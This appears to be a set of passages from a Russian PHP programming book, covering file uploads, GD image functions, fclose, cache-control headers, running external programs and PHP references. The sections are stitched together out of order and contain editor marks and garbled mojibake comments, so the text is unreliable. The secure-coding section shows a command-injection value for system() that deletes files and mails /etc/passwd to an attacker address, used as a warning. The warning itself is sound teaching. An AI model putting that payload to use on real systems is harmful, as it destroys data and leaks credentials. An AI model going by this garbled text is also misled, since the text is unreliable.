Вот другие наиболее распространенные заголовки ответа.
Загрузка файлов на сервер
Иногда бывает просто необходимо позволить пользователю не только заполнить текстовые поля формы и установить соответствующие флажки и радиокнопки, но также и указать несколько файлов, которые будут впоследствии загружены с компьютера пользователя на сервер. Для этого в языке HTML и протоколе HTTP предусмотрены специальные средства.
![](image/predislovie_1.gif)
Чтобы не применять двусмысленной терминологии, я буду использовать слово "закачать" для обозначения загрузки файла клиента на сервер, и термин "скачать" для иллюстрации обратного процесса (с сервера — клиенту). Я уже предчувствую, как будет недоволен, услышав об этом, редактор книги, и он в чем-то прав. Так что, уважаемый читатель, если вы читаете здесь эти рассуждения, — значит, я победил в споре, а если не читаете… Что ж, вы об этом и не догадаетесь.[1]
Мы уже рассматривали механизм, который применяется при закачке файлов, в главе 3. Вы, возможно, помните, что он выглядел не очень-то привлекательно. На мой взгляд, закачка файлов и вообще работа с multipart-методом передачи формы — довольно нетривиальные задачи. Однако спешу обрадовать: в PHP все это давно реализовано и отлажено. Но обо всем по порядку.
Загрузка шрифта
int imageLoadFont(string $file)
Функция загружает файл шрифтов и возвращает идентификатор шрифта — это будет цифра, большая 5, потому что пять первых номеров зарезервированы как встроенные. Формат файла — бинарный, а потому зависит от архитектуры машины. Это значит, что файл со шрифтами должен быть сгенерирован по крайней мере на машине с процессором такой же архитектуры, как и у той, на котором вы собираетесь использовать PHP. Вот формат этого файла (табл. 23.1). Левая колонка задает смещение начала данных внутри файла, а группами цифр, записанных через дефис, определяется,
до какого адреса продолжаются данные.
Таблица 23.1. Формат файла со шрифтом
Смещение | Тип | Описание | |||
Byte 0-3 | long | Число символов в шрифте (nchars) | |||
byte 4-7 | long | Индекс первого символа шрифта (обычно 32 — пробел) |
Таблица 23.1 (окончание)
Смещение | Тип | Описание | |||
byte 8-11 | long | Ширина (в пикселах) каждого знака (width) | |||
byte 12-15 | long | Высота (в пикселах) каждого знака (height) | |||
byte 16-... | array | Массив с информацией о начертании каждого символа, по одному байту на пиксел. На один символ, таким образом, приходится width*height байтов, а на все — width*height*nchars [E108] [DK109] байтов. 0 означает отсутствие точки в данной позиции, все остальное — ее присутствие |
Закачка файлов и безопасность
Возможно, вы обратили внимание на то, что у последнего приведенного тэга <input type=file> отсутствует атрибут value. То есть когда пользователь открывает страницу, он никогда не увидит в элементе закачки ничего, кроме пустой строки. Поначалу это кажется довольно неприятным ограничением: в самом деле, мы ведь можем задавать параметры по умолчанию для, скажем, текстового поля.
Давайте задумаемся, почему разработчики HTML пошли на такое исключение из общего правила. Наверное, вы слышали о возможностях DHTML (Dynamic HTML — Динамический HTML) è JavaScript. С их помощью можно создавать интерактивные страницы, реагирующие на действия пользователя в реальном времени. Например, можно написать код на JavaScript, который запускается, когда пользователь нажимает какую-нибудь кнопку в форме на странице, или когда он вводит текст в одно из текстовых полей.
Применение DHTML не ограничивается упомянутыми возможностями.
В частности, умелый программист, владеющий, к примеру, JavaScript, может создавать страницы, которые будут автоматически формировать и отсылать на сервер формы без ведома пользователя. В принципе, в этом нет никакого "криминала": ведь все данные, которые будут отосланы, сгенерированы этой же страницей.
Что же получится, если разрешить тэгу <input type=file> иметь параметр по умолчанию? Предположим, пользователь хранит все свои пароли в "засекреченном"
файле C:\passwords.txt.
Тогда "пассворднэппер" может написать на JavaScript и встроить в страницу программу, которая создает и отправляет на "свой"
сервер форму незаметно для пользователя. При этом достаточно, чтобы в форме присутствовало единственное поле закачки файла с проставленным параметром value=C:\passwords.txt.
Естественный вывод: в случае, если бы параметр по умолчанию был разрешен для тэга закачки файла, то программист на JavaScript, "заманив" на свою страницу пользователя, мог бы иметь возможность скопировать любой файл с компьютера клиента.
Теперь вы понимаете, почему тэг <input type=file> не допускает использования атрибута value?..
Закраска произвольной области
int imageFill(int $im, int $x, int $y, int $col)
Функция imageFill() выполняет сплошную заливку одноцветной области, содержащей точку с координатами ($x,$y) цветом $col. Нужно заметить, что современные алгоритмы заполнения работают довольно эффективно, так что не стоит особо заботиться о скорости ее работы. Итак, будут закрашены только те точки, к которым можно проложить "одноцветный сильно связанный путь"
из точки ($x,$y).
![](image/predislovie_1.gif)
Две точки называются связанными сильно, если у них совпадает по крайней мере одна координата, а по другой координате они отличаются не более, чем на 1 в любую сторону.
int imageFillToBorder(int $im, int $x, int $y, int $border, int $col)
Эта функция очень похожа на imageFill(), только она выполняет закраску не одноцветных точек, а любых, но до тех пор, пока не будет достигнута граница цвета $border. Под границей здесь понимается последовательность слабо связанных точек.
![](image/predislovie_1.gif)
Две точки называются слабо связанными, если каждая их координата отличается от другой не более, чем на 1 в любом направлении. Очевидно, всякая сильная связь является также и слабой.
Закрытие файла
После работы файл лучше всего закрыть. На самом деле это делается и автоматически при завершении сценария, но лучше все же не искушать судьбу и законы Мэрфи. Особенно, если вы одновременно открыли десятки (или сотни) файлов.
int fclose(int $fp)
Закрывает файл, открытый предварительно функцией fopen() (или popen() или fsockopen(), но об этом позже). Возвращает false, если файл закрыть не удалось (например, что-то с ним случилось или же разорвалась связь с удаленным хостом). В противном случае возвращает значение "истина".
Заметьте, что вы должны всегда
закрывать FTP- и HTTP-соединения, потому что в противном случае "беспризорный" ôàéë
приведет к неоправданному простою канала и излишней загрузке сервера. Кроме того, успешно закрыв соединение, вы будете уверены в том, что все данные были доставлены без ошибок.
![](image/protokoly-peredachi-dannyh_1.gif)
Особенно своевременное закрытие критично при использовании FTP-файла в режиме записи, когда вывод программы для ускорения буферизуется. Не закрыв файл, вы вообще не сможете быть уверены, что буфер вывода очистился, а значит, файл записался на удаленную машину верно.
Запрет кэширования
Еще одно полезное приложение функции Header()— запрет кэширования документа браузером и Proxy-серверами. Большинство сценариев формируют документы, которые при каждом запуске программы изменяются. Очевидно, если браузер пользователя начнет кэшировать такие документы, ничего хорошего не получится. Выход — использовать в начале сценария следующие команды:
Header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Äàòà â ïðîøëîì
Header("Cache-Control: no-cache, must-revalidate"); // HTTP/1.1
Header("Pragma: no-cache"); // HTTP/1.0
Header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT");
Самое неприятное то, что для полного запрета кэширования приходится всегда посылать 4 указанных заголовка, и ни один пропустить нельзя — в противном случае не сработает либо браузер, либо Proxy-сервер. Так что рекомендую оформить их все в виде функции (например, с именем NoCache()) и затем вызывать эту функцию в нужный момент.
Запрет кэширования страниц
Изрядное количество сценариев генерируют страницы, которые постоянно изменяются во времени, поэтому кэширование таких документов, которое иногда пытаются провести "слишком умные" браузеры и proxy-серверы, следует отключить. В противном случае пользователь может увидеть устаревшие данные и не заметить, что ваша страница изменилась.
Вообще говоря, если браузер "захочет" сохранять страницу в кэше и затем постоянно выдавать пользователю одно и то же, никакая сила не сможет запретить ему делать это. К счастью, большинство браузеров более "послушны" — они адекватно реагируют на специальные заголовки запрета кэширования, которые могут присутствовать в странице, полученной с сервера. То же самое делают и proxy-серверы — правда, они используют уже другие заголовки.
В листинге 33.4 приведены четыре заголовка, которые необходимо послать вместе с телом страницы, чтобы браузеры и proxy-серверы не пытались ее кэшировать. Опыт подтверждает, что эти 4 заголовка — минимум. Если убрать хотя бы один из них, некоторые proxy-серверы (или браузеры) могут "не понять", что от них требуется.
Листинг 33.4. Заголовки для запрета кэширования
Header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); // Дата в прошлом
Header("Last-Modified: ".gmdate("D, d M Y H:i:s")."GMT"); // Изменилась
Header("Cache-Control: no-cache, must-revalidate"); // для HTTP/1.1
Header("Pragma: no-cache"); // для HTTP/1.0
Излишне напоминать, что все заголовки должны быть отправлены до первой команды вывода в сценарии.
![](image/predislovie_1.gif)
При использовании шаблонизатора наподобие того, который был описан в главе 30, это требование является необязательным. В таком случае весь результат работы сценария и шаблона буферизируется и не отправляется в браузер до самого последнего момента.
Запуск внешних программ
Функции запуска внешних программ в PHP востребуются достаточно редко. Их "непопулярность"
объясняется прежде всего тем, что при использовании PHP программист получает в свое распоряжение почти все возможности, которые могут когда-либо понадобиться, в частности, почтовые функции, на которые приходится львиная доля вызовов внешних программ в других языках — например, в Perl. Тем не менее, в числе стандартных функций языка присутствует полный набор средств, предназначенных для запуска программ и утилит операционной системы.
string system(string $command [,int& return_var])
Эта функция, как и ее аналог в Си, запускает внешнюю программу, имя которой передано первым параметром, и выводит результат работы программы в выходной поток, т. е. в браузер. Последнее обстоятельство сильно ограничивает область применения функции.
![](image/protokoly-peredachi-dannyh_1.gif)
Впрочем, задействуя функции перенаправления вывода, мы все-таки можем получить и обработать то, что выдала нам запущенная программа, но стоит ли игра свеч? Может быть, лучше воспользоваться более подходящими средствами?
Если функции передан также второй параметр — переменная (именно переменная, а не константа!), то в нее помещается код возврата вызванного процесса. Ясно, что это требует от PHP ожидания завершения запущенной программы — так он и поступает в любом случае, даже если последний параметр не задан.
![](image/location_1.gif)
Не нужно и говорить, что при помощи этой функции можно запускать только те команды, в которых вы абсолютно уверены. В частности, никогда не передавайте функции system() данные, пришедшие из браузера пользователя (предварительно не обработав их) — это может нанести серьезный урон вашему серверу, если злоумышленник запустит какую-нибудь разрушительную утилиту — например, rm ?R ~/, которая быстро и "без лишних слов" очистит весь ваш каталог.
Как уже упоминалось, выходной поток данных программы направляется в браузер. Если вы хотите этого избежать, воспользуйтесь функциями popen() или exec(). Если же вы, наоборот, желаете, чтобы выходные данные запущенной программы попали прямиком в браузер и никак при этом не исказились (например, вы вызываете программу, выводящую в стандартный выходной поток какой-нибудь GIF-рисунок), в этом случае в самый раз будет функция PassThru().
string exec(string $command [,list& $array] [,int& $return_var])
Функция exec(), как и system(), запускает указанную программу или команду, однако, в отличие от последней, она ничего не выводит в браузер. Вместо этого функция возвращает последнюю строку из выходного потока запущенной программы и, если задан параметр $array (который обязательно должен быть переменной), то он заполняется списком строк в выходном потоке — по одной строке на элемент.
![](image/protokoly-peredachi-dannyh_1.gif)
Если массив уже содержал какие-то данные перед вызовом exec(), новые строки просто добавляются в его конец, а не заменяют старое содержимое массива. Учитывайте это в своих программах, иначе нетрудно получить очень нетривиальную ошибку.
Как и в функции system(), при задании параметра-переменной $return_var код возврата запущенного процесса будет помещен в эту переменную. Так что функция exec() тоже дожидается окончания работы нового процесса и только потом возвращает управление в PHP-программу.
string EscapeShellCmd(string $command)
Помните, мы говорили о том, что нельзя допускать возможности передачи данных из браузера пользователя (например, из формы) в функции system() и exec()? Если это все же нужно сделать, то данные должны быть соответствующим способом обработаны: например, можно защитить все специальные символы обратными слэшами, и т. д. Это и делает функция EscapeShellCmd(). Чаще всего ее применяют примерно в таком контексте:
system("cd ".EscapeShellCmd($to_directory));
Здесь переменная $to_directory пришла от пользователя — например, из формы или Cookies. Давайте посмотрим, как злоумышленник может стереть все данные на вашем сервере, если вы по каким-то причинам забудете про EscapeShellCmd(), написав следующий код:
system("cd $to_directory");
// Никогда так не делайте!
Задав такое значение для $to_directory:
~; rm -R *; sendmail hacker@domain.com </etc/passwd
разрушитель добьется своего разрушительного результата, а заодно и пошлет себе по почте файл /etc/passwd, который в Unix-системах содержит данные об именах и паролях пользователей.
string PassThru(string $command [,int& $return_var])
Эта функция запускает указанный в ее первом параметре процесс и весь его вывод направляет прямо в браузер пользователя, один-в-один. Она может пригодиться, если вы воспользовались какой-нибудь утилитой для генерации изображений "на лету", оформленной в виде отдельной программы
(в PHP есть гораздо более мощные встроенные функции для работы с изображениями, которые работают быстрее, поэтому я не рекомендую вам применять PassThru() даже в подобных целях). Давайте рассмотрим пример использования этой функции:
Header("Content-type: image/jpeg");
PassThru("cat my_image.jpg");
Функция Header(), которую мы рассмотрим в другой главе, сообщает браузеру пользователя, что данные поступят в графическом формате JPEG, а последующий вызов утилиты cat с параметром — именем файла с рисунком — заставляет систему "распечатать"
файл в браузер пользователя.
Зависимый переключатель (radio)
<input type=radio
name=èìÿ
value=çíà÷åíèå
[checked]
>
Включение в форму этого тэга вызывает появление на ней зависимого переключателя (или радиокнопки). Зависимый переключатель — это элемент управления, который, подобно независимому переключателю, может находиться в одном из двух состояний. С тем отличием, что если флажки не связаны друг с другом, то только одна радиокнопка из группы может быть выбрана в текущий момент. Конечно, чаще всего определяются несколько групп радиокнопок, независимых друг от друга. Наша кнопка будет действовать сообща с другими, имеющими то же значение атрибута name — иными словами, то же имя. Отсюда вытекает, что, в отличие от всех других элементов формы, две радиокнопки довольно часто имеют одинаковые имена. Если пользователь установит какую-то кнопку, сценарию будет передана строка имя=значение, причем значение будет тем, которое указано в атрибуте value выбранной кнопки (а все остальные переключатели проигнорируются, как будто неустановленные флажки). Если указан параметр checked, кнопка будет изначально выбрана, в противном случае — нет.
![](image/predislovie_1.gif)
Чувствую, вас уже мучает вопрос: почему эта штука называется радиокнопкой? При чем тут радио, спрашиваете? Все очень просто. Дело в том, что на старых радиоприемниках (как и на магнитофонах) была группа клавиш, одна из которых могла "залипать", освобождая при этом другую клавишу из группы. Например, если радио могло ловить 3 станции, то у него было 3 клавиши, и в конкретный момент времени только одна из них могла быть нажата (попробуйте слушать сразу несколько станций!). Согласен, что терминология очень спорна), но история есть история…
Жесткие ссылки
Жесткая ссылка представляет собой просто переменную, которая является синонимом другой переменной. Многоуровневые ссылки (то есть, ссылка на ссылку на переменную, как это можно делать, например, в Perl) не поддерживаются. Так что, думаю, не стоит воспринимать жесткие ссылки серьезнее, чем синонимы.
Чтобы создать жесткую ссылку, нужно использовать оператор & (амперсанд). Например:
$a=10;
$b = &$a; // òåïåðü $b— òî æå ñàìîå, ÷òî è $a
$b=0; // íà ñàìîì äåëå $a=0
echo "b=$b, a=$a"; // âûâîäèò "b=0, a=0"
Ссылаться можно не только на переменные, но и на элементы массива (этим жесткие ссылки выгодно отличаются от символических). Например:
$A=array('a' => 'aaa', 'b' => 'bbb');
$b=&$A['b']; // òåïåðü $b — òî æå, ÷òî è ýëåìåíò ñ èíäåêñîì 'b' ìàññèâà
$b=0; // íà ñàìîì äåëå $A['b']=0;
echo $A['b']; // âûâîäèò 0
Впрочем, элемент массива, для которого планируется создать символическую ссылку, может и не существовать. Как в следующем случае:
$A=array('a' => 'aaa', 'b' => 'bbb');
$b=&$A['c']; // òåïåðü $b — òî æå, ÷òî è ýëåìåíò ñ èíäåêñîì 'c' ìàññèâà
echo "Ýëåìåíò ñ èíäåêñîì 'c': (".$A['c'].")";
В результате выполнения этой программы, хотя ссылке $b и не было ничего присвоено, в массиве $A создастся новый элемент с ключом c и значением — пустой строкой (мы можем это определить по результату работы echo). То есть, жесткая ссылка на самом деле не может ссылаться на несуществующий объект, а если делается такая попытка, то объект создается.
![](image/protokoly-peredachi-dannyh_1.gif)
Попробуйте убрать строку, в которой создается жесткая ссылка, и вы тут же получите сообщение о том, что элемент с ключом c не определен в массиве $A.
И все же, жесткая ссылка — не абсолютно точный синоним объекта, на который она ссылается. Дело в том, что оператор Unset(), выполненный для жесткой ссылки, не удаляет объект, на который она ссылается, а всего лишь разрывает связь между ссылкой и объектом.
![](image/protokoly-peredachi-dannyh_1.gif)
В этой трактовке любую переменную, даже только что созданную, можно рассматривать как жесткую ссылку. Просто она — единственная, кто ссылается на недавно построенный объект[В. О.22] .
Итак, жесткая ссылка и переменная (объект), на которую она ссылается, совершенно равноправны, но изменение одной влечет изменение другой. Оператор Unset() разрывает связь между объектом и ссылкой, но объект удаляется только тогда, когда на него никто уже не ссылается.
Жесткие ссылки удобно применять при передаче параметров функции и возврате значения из нее. Как это делается, мы рассмотрим в главе, описывающей возможности создания функций на PHP.